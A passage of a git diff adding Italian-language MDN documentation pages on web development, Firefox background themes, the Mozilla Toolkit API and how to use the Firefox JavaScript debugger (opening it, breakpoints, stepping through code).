+      <a href="it/QA">Controllo di Qualità</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categorie</span> <a href="it/Categora/Sviluppare_Mozilla">*</a></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "fr": "fr/D\u00e9veloppement_de_Mozilla", "ja": "ja/Developing_Mozilla", "zh-cn": "cn/\u5f00\u53d1Mozilla", "pl": "pl/Programowanie_Mozilli" } ) }}</p>
diff --git a/files/it/sviluppo_web/index.html b/files/it/sviluppo_web/index.html
new file mode 100644
index 0000000000..ecdd032677
--- /dev/null
+++ b/files/it/sviluppo_web/index.html
@@ -0,0 +1,51 @@
+---
+title: Sviluppo Web
+slug: Sviluppo_Web
+tags:
+  - Sviluppo_Web
+  - Tutte_le_categorie
+translation_of: Web/Guide
+---
+<p>
+</p>
+<div>Lo <b>sviluppo Web</b> comprende tutti gli aspetti di sviluppo di un sito web o di una applicazione web.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione" name="Documentazione"> <a>Documentazione</a> </h4>
+<dl><dt> <a href="it/Migrare_applicazioni_da_Internet_Explorer_a_Mozilla">Migrare applicazioni da Internet Explorer a Mozilla</a>
+</dt><dd> <small>Doron Rosenberg vi dice come assicurarvi che le vostre applicazioni web sia con IE che con Mozilla.</small>
+</dd></dl>
+<dl><dt> <a href="it/Usare_valori_URL_per_la_propriet%c3%a0_cursor">Usare valori URL per la proprietà cursor</a>
+</dt><dd> <small><a href="it/Gecko">Gecko</a> 1.8 (<a href="it/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0) supportano l'uso di valori URL per la <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">proprietà cursor CSS2 </a>, che permette di specificare immagini arbitrarie da usare come puntatori del mouse.</small>
+</dd></dl>
+<dl><dt> <a href="it/Usare_il_caching_di_Firefox_1.5">Usare il caching di Firefox 1.5</a>
+</dt><dd> <small><a href="it/Firefox_1.5">Firefox 1.5</a> memorizza intere pagine web, incluso il loro stato JavaScript, in memoria. La navigazione in avanti ed indietro tra le pagine visitate non richiede caricamento di pagina e lo stato del JavaScript è preservato. Questa carateristica permette una navigazione delle pagine molto veloce.</small>
+</dd></dl>
+<p><span class="alllinks"><a>Vedi tutti...</a></span>
+</p>
+</td>
+<td>
+<h4 id="Community" name="Community"> Community </h4>
+<ul><li> Visita i forum Mozilla...
+</li></ul>
+<p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}
+</p>
+<ul><li> <a class="external" href="http://www.whatwg.org/">WHAT Working Group</a>
+</li><li> <a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a>
+</li></ul>
+<h4 id="Strumenti" name="Strumenti"> Strumenti </h4>
+<ul><li> <a class="external" href="http://www.getfirebug.com/">Firebug</a>
+</li><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Web Developer extension</a>
+</li><li> <a href="it/Venkman">Venkman</a>, il debugger JavaScript
+</li><li> <a href="it/DOM_Inspector">DOM Inspector</a>
+</li></ul>
+<p><span class="alllinks"><a>Vedi tutti...</a></span>
+</p>
+<h4 id="Argomenti_correlati" name="Argomenti_correlati"> Argomenti correlati </h4>
+<dl><dd> <a href="it/AJAX">AJAX</a>, <a href="it/CSS">CSS</a>, <a href="it/HTML">HTML</a>, <a href="it/JavaScript">JavaScript</a>, <a href="it/Standard_Web">Standard Web</a>, <a href="it/XHTML">XHTML</a>, <a href="it/XML">XML</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/Web_Development", "de": "de/Webentwicklung", "es": "es/Desarrollo_Web", "fr": "fr/D\u00e9veloppement_Web", "ja": "ja/Web_Development", "pl": "pl/Programowanie_WWW" } ) }}
diff --git a/files/it/temi/background/index.html b/files/it/temi/background/index.html
new file mode 100644
index 0000000000..0e52fbc07e
--- /dev/null
+++ b/files/it/temi/background/index.html
@@ -0,0 +1,100 @@
+---
+title: Background Themes
+slug: Temi/Background
+tags:
+  - Documentazione
+translation_of: Mozilla/Add-ons/Themes/Lightweight_themes
+---
+<h2 id="Come_creare_il_vostro_Tema_di_sfondo">Come creare il vostro Tema di sfondo</h2>
+
+<div class="primary auto" id="getting-started">
+<p>I temi sono costituiti da un file grafico(immagine) "intestazione", che ricopre lo sfondo dell'interfaccia utente (UI) Firefox.</p>
+
+<p>Hai finito il tuo disegno? Puoi <a href="https://addons.mozilla.org/developers/theme/submit">inviarlo immediatamente!</a></p>
+
+<h3 id="Creare_un'immagine_Intestazione_per_il_Tema">Creare un'immagine Intestazione per il Tema</h3>
+
+<p>L'immagine di intestazione viene visualizzata come sfondo della parte alta della finestra del browser e si innesta dietro le barre degli strumenti, la barra degli indirizzi, la barra di ricerca e la barra delle schede. Verrà ancorata nell'angolo in alto a destra della finestra del browser.</p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9929/header-step.jpg" style="height: 215px; width: 1059px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/header.jpg">Vedi qui un esempio di Intestazione di Tema.</a></li>
+</ul>
+
+<h4 id="Requisiti_per_l'immagine">Requisiti per l'immagine</h4>
+
+<ul>
+ <li>Le dimensioni devono essere: <strong>3000px larghezza × 200px altezza</strong></li>
+ <li>formato file: PNG o JPG</li>
+ <li>L'immagine non deve superare i 300 KB in dimensione</li>
+</ul>
+
+<h4 id="Suggerimenti">Suggerimenti</h4>
+
+<ul>
+ <li>Immagini piccole, a debole contrasto e gradienti funzionano meglio; immagini ad alta risoluzione faticheranno ad andare d'accordo con la UI del browser.</li>
+ <li>Firefox può visualizzare una porzione maggiore della parte bassa dell'immagine se altre barre strumenti o elementi dell'interfaccia grafica vengono aggiunti nella parte alta della finestra.</li>
+ <li>La parte in alto a destra dell'immagine dovrebbe contenere le informazioni più importanti-dal momento che, aumentando la larghezza della finestra, il browser lascia vedere di più sul lato sinistro dell'immagine.</li>
+</ul>
+
+<h4 id="Elaborazione_di_Immagini_Online">Elaborazione di Immagini Online</h4>
+
+<ul>
+ <li><a href="http://www.pixlr.com">Pixlr</a> — Pixlr offre strumenti per creazione ed elaborazione di immagini incorporati in un browser a livello professionale e facili da usare.</li>
+ <li><a href="http://www.photoshop.com">Photoshop</a> — Ritaglia, ruota e ritocca fotografie con Photoshop® Express, un elaboratore di fotografie gratis online.</li>
+</ul>
+
+<h3 id="Creare_un'immagine_Piè_di_pagina_per_il_Tema">Creare un'immagine Piè di pagina per il Tema</h3>
+
+<p>Nelle versioni più vecchie di Firefox, o nelle versioni più recenti con determinati add-ons installati, l'immagine piè di pagina si vede come sfondo della parte bassa della finestra del browser, dietro le barre degli add-on e di ricerca. Verrà ancorata nell'angolo in basso a sinistra della finestra del browser. Le immagini piè di pagina sono opzionali.</p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9935/footer-step.jpg" style="height: 56px; width: 1249px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/header.jpg">Vedi qui un esempio di Piè di pagina per il Tema.</a></li>
+</ul>
+
+<h4 id="Requisiti_per_l'immagine_2">Requisiti per l'immagine</h4>
+
+<ul>
+ <li>Le dimensioni devono essere: <strong>3000px larghezza × 100px altezza</strong></li>
+ <li>formato file: PNG o JPG</li>
+ <li>L'immagine non deve superare i 300 KB in dimensione</li>
+</ul>
+
+<h4 id="Suggerimenti_2">Suggerimenti</h4>
+
+<ul>
+ <li>Immagini piccole, a debole contrasto e gradienti funzionano meglio; immagini ad alta risoluzione faticheranno ad andare d'accordo con la UI del browser.</li>
+ <li>Firefox può visualizzare una porzione maggiore della parte alta dell'immagine se la barra di ricerca è aperta o se una delle estensioni aumenta l'altezza della parte bassa della finestra.</li>
+ <li>La parte sinistra dell'immagine dovrebbe contenere le informazioni più importanti-dal momento che, aumentando la larghezza della finestra, il browser lascia vedere di più sul lato destro dell'immagine.</li>
+</ul>
+
+<h3 id="Presentazione_dei_tuoi_temi_personalizzati">Presentazione dei tuoi temi personalizzati</h3>
+
+<p>Per iniziare a presentare le tue immagini, vai alla pagina di Presentazione Temi:</p>
+
+<ol class="itemized">
+ <li><strong>Dai un nome al tuo tema</strong> — assegna un nome unico per il tuo tema. Nomi duplicati non sono ammessi, pertanto potresti aver bisogno di tentare alcune volta prima di trovarne uno.</li>
+ <li><strong>Assegna una categoria e parole-chiave</strong> — seleziona una categoria e inserisci alcune parole-chiave che meglio descrivano il tuo tema. Tieni in mente che un revisore potrebbe rifiutare il tuo tema se risultasse che categoria e/o parole chiave non c'entrano molto con il tuo tema.</li>
+ <li><strong>Descrivi il tuo tema</strong> — scrivi una breve descrizione del tuo tema. Tieni in mente che un revisore potrebbe rifiutare il tuo tema se risultasse che la tua descrizione non rappresenta accuratamente il tuo tema.</li>
+ <li><strong>Sciegli un tipo di licenza per il tuo tema</strong> — decidi il tipo di licenza copyright per la tua creazione. <a href="http://creativecommons.org/licenses/">Approfondisci il tema del tipo licenze Creative Common.</a>
+  <ul>
+   <li><strong>Importante:</strong> Assicurati di avere il diritto di utilizzare l'immagine nel tuo tema!</li>
+  </ul>
+ </li>
+ <li><strong>Carica le tue immagini</strong> — assicurati che siano in formato JPG or PNG e che non eccedano i 300 KB!</li>
+ <li><strong>Scegli i colori di testo e schede</strong> — puoi scegliere il colore di scheda("sfondo") e di testo in primo piano che meglio si adatta alla tua immagine di intestazione.</li>
+ <li><strong>Anteprima del tuo tema</strong> — sei pronto per un'anteprima del tuo tema! Semplicemente passa il mouse sull'immagine sopra il pulsante "Inoltra il tema" e vedi all'istante come appare.</li>
+ <li><strong>Inoltra il tuo tema</strong> — se ti sembra tutto a posto, premi il bottone "Inoltra il tema" e hai finito! Puoi vedere tutti i temi pubblicati da te sulla pagina del tuo profilo.
+  <ul>
+   <li><strong>Suggerimento:</strong> per assicurarti che il tuo tema venga approvato, controlla bene che sia risppondente con le linee guida dei contenuti e con i termini di servizio!</li>
+  </ul>
+ </li>
+</ol>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9933/submission-step.jpg" style="height: 1800px; width: 785px;"></p>
+
+<p class="call-to-submit"><a class="button prominent" href="https://addons.mozilla.org/en-US/developers/theme/submit">Submit Your Theme Now</a></p>
+</div>
diff --git a/files/it/temi/index.html b/files/it/temi/index.html
new file mode 100644
index 0000000000..c6bdeb3894
--- /dev/null
+++ b/files/it/temi/index.html
@@ -0,0 +1,8 @@
+---
+title: Temi
+slug: Temi
+translation_of: Mozilla/Add-ons/Themes
+---
+<p><strong>I Temi</strong> sono delle Skin (pelli) per le differenti applicazioni di Mozilla. Permettono di cambiare l'aspetto dell'interfaccia utente rendendola personale al vostro gusto. Un Tema può cambiare semplicemente i colori dell'interfaccia utente o cambiarne l'intero aspetto.</p>
+<h4 id="Documentazione" name="Documentazione">Documentazione</h4>
+<p><a href="it/Creare_Skin_per_Firefox">Creare Skin per Firefox</a></p>
diff --git a/files/it/toolkit_api/index.html b/files/it/toolkit_api/index.html
new file mode 100644
index 0000000000..701e5db3fb
--- /dev/null
+++ b/files/it/toolkit_api/index.html
@@ -0,0 +1,32 @@
+---
+title: Toolkit API
+slug: Toolkit_API
+translation_of: Mozilla/Tech/Toolkit_API
+---
+<p>
+</p><p>Il <b>Mozilla Toolkit</b> è un insieme di interfacce di programmazione (API), costruite su <a href="it/Gecko">Gecko</a>, che forniscono servizi avanzati per le applicazioni <a href="it/XUL">XUL</a>. Qualche esempio:
+</p>
+<ul><li> Gestione dei profili
+</li><li> Registrazione Chrome
+</li><li> Cronologia
+</li><li> Gestione delle estensioni e dei temi
+</li><li> Servizio di aggiornamento dell'applicazione
+</li><li> Safe Mode
+</li></ul>
+<h3 id="Guide_di_riferimento_ufficiali"> Guide di riferimento ufficiali </h3>
+<p>....in costruzione
+</p>
+<h3 id="Ulteriori_informazioni"> Ulteriori informazioni </h3>
+<p>Le pagine seguenti contengono esempi e spiegazioni riguardo agli argomenti specifici:
+</p>
+<ul><li> <a href="it/XUL">XUL</a>
+</li><li> <a href="it/XUL_Overlays">XUL Overlays</a>
+</li><li> <a href="it/Extensions">Sviluppare estensioni</a>
+</li><li> <a href="it/XULRunner">XULRunner</a>
+</li><li> <a href="it/Themes">Sviluppare temi</a>
+</li><li> <a href="it/DOM">DOM</a>
+</li><li> <a href="it/RDF">RDF</a>
+</li><li> <a href="it/Storage">mozStorage</a>
+</li><li> <a href="it/Help_Viewer">Creare pagine di Help</a>
+</li></ul>
+{{ languages( { "en": "en/Toolkit_API", "fr": "fr/API_du_toolkit", "pl": "pl/Toolkit_API" } ) }}
diff --git a/files/it/tools/add-ons/index.html b/files/it/tools/add-ons/index.html
new file mode 100644
index 0000000000..53b7924169
--- /dev/null
+++ b/files/it/tools/add-ons/index.html
@@ -0,0 +1,17 @@
+---
+title: Add-ons
+slug: Tools/Add-ons
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+  - 'Web Development:Tools'
+translation_of: Tools/Add-ons
+---
+<p>Developer tools that are not built into Firefox, but ship as separate add-ons.</p>
+
+<dl>
+ <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor</a></dt>
+ <dd>Examine the data exchanged in a WebSocket connection.</dd>
+ <dd> </dd>
+</dl>
diff --git a/files/it/tools/debugger/how_to/disable_breakpoints/index.html b/files/it/tools/debugger/how_to/disable_breakpoints/index.html
new file mode 100644
index 0000000000..d98d34e98f
--- /dev/null
+++ b/files/it/tools/debugger/how_to/disable_breakpoints/index.html
@@ -0,0 +1,20 @@
+---
+title: Disable breakpoints
+slug: Tools/Debugger/How_to/Disable_breakpoints
+translation_of: Tools/Debugger/How_to/Disable_breakpoints
+---
+<div class="note">
+<div class="note">
+<p>Questa pagina descrive il debugger JavaScript così come appare in Firefox versione 52 o successive, nelle versioni build notturne e in Firefox Developer Edition</p>
+
+<p>Per vedere come era nelle versioni precedenti di Firefox oppure nelle versioni Beta, guarda qui: <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (prima di Firefox 52)</a>.</p>
+
+<p>Se hai attenuto questa versione del debugger e desisderi tornare alla versione precedente, basta andare alla pagina about:config e imposta la voce "devtools.debugger.new-debugger-frontend" a <code>false</code>.</p>
+</div>
+</div>
+
+<p>Per disabilitare un singolo punto di interruzione, deseleziona il checkbox relativo nella <a href="/en-US/docs/Tools/Debugger/UI_Tour#Breakpoints_list">lista dei pnti di interruzione</a>.</p>
+
+<p>Per disabilitare tutti i punti di interruzione, click sull' icona: <img alt="" src="https://mdn.mozillademos.org/files/14402/toggle-all.png" style="height: 24px; margin-bottom: -5px; width: 30px;"> sulla <a href="/en-US/docs/Tools/Debugger/UI_Tour#Toolbar">barra dei comandi</a>.</p>
+
+<p>{{EmbedYouTube("ULoZ70XPd90")}}</p>
diff --git a/files/it/tools/debugger/how_to/index.html b/files/it/tools/debugger/how_to/index.html
new file mode 100644
index 0000000000..d77ec65938
--- /dev/null
+++ b/files/it/tools/debugger/how_to/index.html
@@ -0,0 +1,11 @@
+---
+title: How to
+slug: Tools/Debugger/How_to
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Tools/Debugger/How_to
+---
+<p><span class="seoSummary">These articles describe how to use the debugger.</span></p>
+
+<p>{{ ListSubpages () }}</p>
diff --git a/files/it/tools/debugger/how_to/open_the_debugger/index.html b/files/it/tools/debugger/how_to/open_the_debugger/index.html
new file mode 100644
index 0000000000..0e9dcba1df
--- /dev/null
+++ b/files/it/tools/debugger/how_to/open_the_debugger/index.html
@@ -0,0 +1,28 @@
+---
+title: Open the debugger
+slug: Tools/Debugger/How_to/Open_the_debugger
+translation_of: Tools/Debugger/How_to/Open_the_debugger
+---
+<div class="note">
+<p> </p>
+
+<div class="note">
+<p>Questa pagina descrive il debugger JavaScript così come appare in Firefox versione 52 o successive, nelle versioni build notturne e in Firefox Developer Edition</p>
+
+<p>Per vedere come era nelle versioni precedenti di Firefox oppure nelle versioni Beta, guarda qui: <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (prima di Firefox 52)</a>.</p>
+
+<p>Se hai attenuto questa versione del debugger e desisderi tornare alla versione precedente, basta andare alla pagina about:config e imposta la voce "devtools.debugger.new-debugger-frontend" a <code>false</code>.</p>
+</div>
+</div>
+
+<p>Ci sono due modi per aprire il debbugger:</p>
+
+<ul>
+ <li>seleziona "Debugger" dal sottomenu Web Developer del Menu di Firefox (o dal menù Strumenti se visaualizzi la barra del menu oppure sei su Mac OS X)</li>
+ <li>premi <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>S</kbd> (<kbd>Command</kbd><kbd>Option</kbd><kbd>S</kbd> on OS X) dalla tastiera</li>
+ <li>premi dal menu il bottone ( <img alt="new fx menu" class="frameless wiki-image" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2014-01-10-13-08-08-f52b8c.png" title=""> ), press "Sviluppo Web", then select "Debugger".</li>
+</ul>
+
+<p>{{EmbedYouTube("yI5SlVQiZtI")}}</p>
+
+<p> </p>
diff --git a/files/it/tools/debugger/how_to/set_a_breakpoint/index.html b/files/it/tools/debugger/how_to/set_a_breakpoint/index.html
new file mode 100644
index 0000000000..9180de2a40
--- /dev/null
+++ b/files/it/tools/debugger/how_to/set_a_breakpoint/index.html
@@ -0,0 +1,31 @@
+---
+title: Set a breakpoint
+slug: Tools/Debugger/How_to/Set_a_breakpoint
+translation_of: Tools/Debugger/How_to/Set_a_breakpoint
+---
+<div class="note">
+<p>Questa pagina descrive il debugger JavaScript così come appare in Firefox versione 52 o successive, nelle versioni build notturne e in Firefox Developer Edition</p>
+
+<p>Per vedere come era nelle versioni precedenti di Firefox oppure nelle versioni Beta, guarda qui: <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (prima di Firefox 52)</a>.</p>
+
+<p>Se hai attenuto questa versione del debugger e desisderi tornare alla versione precedente, basta andare alla pagina about:config e imposta la voce "devtools.debugger.new-debugger-frontend" a <code>false</code>.</p>
+</div>
+
+<p>Puoi fissare un punto di interruzione in uno dei modi seguenti:</p>
+
+<ul>
+ <li>nel panel <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">sorgente</a>, click sul numero della riga su cui vuoi il punto di interruzione</li>
+ <li>nel panel <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">sorgente</a>, posizionati sulla riga su cui vuoi il punto di interruzione attiva il context menu e seleziona "Aggiungi punto di interruzione"</li>
+ <li>nel panel <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">sorgente</a>, seleziona la riga su cui vuoi il punto di interruzione e premi Ctrl+B (Windows/Linux) or Command+B (Mac OS X)</li>
+</ul>
+
+<p>Il video seguente usa il context menu per fissare un punto di interruzione :</p>
+
+<p>{{EmbedYouTube("P7b98lEijF0")}}</p>
+
+<p>Ogni punto di interruzione viene visualizzato in due posizioni nel debugger:</p>
+
+<ul>
+ <li>la <a href="/en-US/docs/Tools/Debugger/UI_Tour#Breakpoints_list">lista dei punti di interruzione</a> visualizza il nome del file e il numero di riga del punto di interruzione</li>
+ <li>la riga nel <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">sorgente</a> viene evidenziata con una freccia blu, oppure arancione se il punto di interruzione è <a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">condizionale</a>.</li>
+</ul>
diff --git a/files/it/tools/debugger/how_to/set_a_conditional_breakpoint/index.html b/files/it/tools/debugger/how_to/set_a_conditional_breakpoint/index.html
new file mode 100644
index 0000000000..2e70147e49
--- /dev/null
+++ b/files/it/tools/debugger/how_to/set_a_conditional_breakpoint/index.html
@@ -0,0 +1,22 @@
+---
+title: Set a conditional breakpoint
+slug: Tools/Debugger/How_to/Set_a_conditional_breakpoint
+translation_of: Tools/Debugger/How_to/Set_a_conditional_breakpoint
+---
+<div class="note">
+<p>This page describes the JavaScript Debugger as it appears in Firefox 52 and above, in Firefox Nightly and Firefox Developer Edition.</p>
+
+<p>To see what it's like in earlier versions of Firefox or in Firefox Beta and Release, see <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (before Firefox 52)</a>.</p>
+
+<p>If you are getting this version of the Debugger and need to switch back to the old version, you can do so by visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to <code>false</code>.</p>
+</div>
+
+<p>Un normale punto di interruzione è associato solo ad una riga di codice: quando l'esecuzione raggiunge qualla linea il debbuger si ferma. Un punto di interruzione condizionale ha anche una condizione associata, che è rrappresentata da un'<a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions">espressione</a>. quando l'esecuzione raggiunge qualla linea, il debugger si ferma solo se l' espressione è   <code>vera</code>.</p>
+
+<p>{{EmbedYouTube("pVPlMhfrMwM")}}</p>
+
+<p>Per impostare un punto di interruzione condizionale, nel panel <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">sorgente</a>, sulla linea dove vuoi il un punto di interruzione, premi tasto destro e seleziona "Aggiungi punto di interruzione condizionale". Apparirà un textbox dove digitare l'espressione. premi<kbd>Return</kbd> per finire.</p>
+
+<p>I punti di interruzione condizionali vengono visualizzati come frecce arancioni sul numewro di riga.</p>
+
+<p>Se clicchi su uno dei punti di interruzione, apparirà la voce di menù "Edit Breakpoint". Puoi usarla per modificare una condizione oppure per aggiungere una condizione ad un brakpoint esistente.</p>
diff --git a/files/it/tools/debugger/how_to/step_through_code/index.html b/files/it/tools/debugger/how_to/step_through_code/index.html
new file mode 100644
index 0000000000..33a2305f21
--- /dev/null
+++ b/files/it/tools/debugger/how_to/step_through_code/index.html
@@ -0,0 +1,31 @@
+---
+title: Step through code
+slug: Tools/Debugger/How_to/Step_through_code
+translation_of: Tools/Debugger/How_to/Step_through_code
+---
+<div class="note">
+<p>Questa pagina descrive il debugger JavaScript così come appare in Firefox versione 52 o successive, nelle versioni build notturne e in Firefox Developer Edition</p>
+
+<p>Per vedere come era nelle versioni precedenti di Firefox oppure nelle versioni Beta, guarda qui: <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (prima di Firefox 52)</a>.</p>
+
+<p>Se hai attenuto questa versione del debugger e desisderi tornare alla versione precedente, basta andare alla pagina about:config e imposta la voce "devtools.debugger.new-debugger-frontend" a <code>false</code>.</p>
+</div>
+
+<p>Quando il debugger è fermo su un punto di interruzione, puoi proseguire usando i bottoni della <a href="/en-US/docs/Tools/Debugger/UI_Tour#Toolbar">barra dei comandi</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14404/debugger-stepping.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Nell'ordine, ii bottoni sono:</p>
+
+<ul>
+ <li>Play: va al prossimo punto di interruzione</li>
+ <li>Step over: avanza alla linea successiva nella stessa funzione.</li>
+ <li>Step in: avanza alla linea successiva nella stessa funzione, tranne che nella chiamata a una funzione; in quel caso entra nella funzione chiamata</li>
+ <li>Step out: va alla fine della funzione corrente</li>
+</ul>
+
+<p>{{EmbedYouTube("RQBwEk0-xe0")}}</p>
+
+<p>Quando è in pausa, il bottone "attiva/disattiva console divisa"  <img alt="" src="https://mdn.mozillademos.org/files/15017/toggle-console.png" style="height: 25px; width: 30px;"> può essere usato per attivare(aprire) o disattivare (chiudere) la console web per indagare gli errori e le variabili:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15019/split-console.png" style="display: block; height: 482px; margin-left: auto; margin-right: auto; width: 900px;"></p>
diff --git a/files/it/tools/debugger/index.html b/files/it/tools/debugger/index.html
new file mode 100644
index 0000000000..76dafea0fa
--- /dev/null
+++ b/files/it/tools/debugger/index.html
@@ -0,0 +1,69 @@
+---
+title: Debugger
+slug: Tools/Debugger
+tags:
+  - Debugger
+  - Debugging
+  - Dev Tools
+  - Firefox OS
+  - JS Debug
+  - Strumenti di Sviluppo
+  - febugging
+translation_of: Tools/Debugger
+---
+<div class="note">
+<p>Questa pagina descrive il debugger JavaScript così come appare in Firefox versione 52 o successive, nelle versioni build notturne e in Firefox Developer Edition</p>
+
+<p>Per vedere come era nelle versioni precedenti di Firefox oppure nelle versioni Beta, guarda qui: <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (prima di Firefox 52)</a>.</p>
+
+<p>Se hai attenuto questa versione del debugger e desisderi tornare alla versione precedente, basta andare alla pagina about:config e imposta la voce "devtools.debugger.new-debugger-frontend" a <code>false</code>.</p>
+</div>
+
+<p>{{EmbedYouTube("QK4hKWmJVLo")}}</p>
+
+<p>Il debugger JavaScript ti permette di eseguire il codice passo passo ed esaminare o modificare il suo stato, aiutandoti così a scovare eventuali bugs.</p>
+
+<p>E' possibile usare il debugger sia per il codice eseguito localmente in Firefox, sia per il codice che viene eseguito in remoto, per esempio su un terminale Android che usa Firefox per Android. Vedi <a href="/en-US/docs/Tools/Remote_Debugging">remote debugging </a>per sapere come come connettere il debugger ad un terminale remoto.</p>
+
+<p>Il debugger è compreso in Firefox, e queste pagine descrivono come utilizzare la versione che è incorporata in Firefox. Comunque è anche possibile farlo funzionare come applicazione web indipendente, e quindi usarlo per eseguire il debug di codice eseguito in altri browser o in Node. Per ulteriori dettagli su questa funzione, vedere il <a href="https://github.com/devtools-html/debugger.html">contenitore GitHub del progetto</a>.</p>
+
+<p>Il nuovo debugger non supporta - ancora - tutte le funzionalità del vecchio debugger. Vedi <a href="/en-US/docs/Tools/Debugger/Limitations_of_the_new_debugger">Limitazioni del nuovo debugger</a>.</p>
+
+<hr>
+<h2 id="Panoramica_dell'interfaccia_utente">Panoramica dell'interfaccia utente</h2>
+
+<p>Per avere una generale idea del debugger, questo è il link: <a href="/en-US/docs/Tools/Debugger/UI_Tour">veloce panoramica dell'Interfaccia Utente</a>.</p>
+
+<hr>
+<h2 id="Come_fare">Come fare</h2>
+
+<p>Per sapere quello che è possibile fare col debugger, questi sono i link alle guide disponibili:</p>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Open_the_debugger">Aprire il debugger</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_breakpoint">Impostare un punto di interruzione</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Disable_breakpoints">Disabilitare un punto di interruzione</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code">Eseguire il codice una riga alla volta</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Break_on_a_DOM_event">Interruzione su un evento DOM</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Highlight_and_inspect_DOM_nodes">Evidenziare ed ispezionare un nodo DOM</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Pretty-print_a_minified_file">Stampare correttamente una versione ridotta di un file</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">Trovare e filtrare</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">Impostare un punto di interruzione condizionale</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Examine,_modify,_and_watch_variables">Esaminare, modificare e monitorare le variabili</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Usare una mappa come sorgente</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Black_box_a_source">Ofuscare una sorgente</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Eseguire il debug e valutare una sorgente</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Access_debugging_in_add-ons">Accedere agli accessori in debug</a></li>
+</ul>
+</div>
+
+<hr>
+<h2 id="Reference">Reference</h2>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger/Keyboard_shortcuts">Scorciatoie da tastiera</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger/Settings">Impostazioni</a></li>
+</ul>
+</div>
diff --git a/files/it/tools/index.html b/files/it/tools/index.html
new file mode 100644
index 0000000000..0fa06dcda3
--- /dev/null
+++ b/files/it/tools/index.html
@@ -0,0 +1,214 @@
+---
+title: Strumenti di Sviluppo di Firefox
+slug: Tools
+tags:
+  - Developing Mozilla
+  - NeedsMarkupWork
+  - NeedsTechnicalReview
+  - NeedsTranslation
+  - Tools
+  - TopicStub
+  - Web Development
+  - 'Web Development:Tools'
+translation_of: Tools
+---
+<div>{{ToolsSidebar}}</div>
+
+<p class="summary">Firefox Developer Tools è un insieme di strumenti di sviluppo web integrati in Firefox. È possibile utilizzarli per esaminare, modificare ed eseguire il debug di HTML, CSS e JavaScript</p>
+
+<p class="summary">Se stai cercando informazioni sull'utilizzo degli strumenti di sviluppo web disponibili in Firefox, sei arrivato nel posto giusto - questa pagina fornisce collegamenti a informazioni dettagliate su tutti gli strumenti principali e strumenti aggiuntivi, e ulteriori informazioni come come connettersi e eseguire il debug di Firefox per Android, come estendere gli strumenti di sviluppo e come eseguire il debug del browser nel suo complesso.</p>
+
+<p>Si prega di esplorare i link che si trovano nella barra laterale, e più in basso nella pagina. Se hai commenti o domande sui devtools, inviaci messaggi sulla nostra mailing list o sul canale IRC (vedi i link della community in fondo alla pagina). Se hai commenti o domande specifiche sulla documentazione, la community DevTools di MDN è un buon posto per pubblicare.</p>
+
+<div class="note">
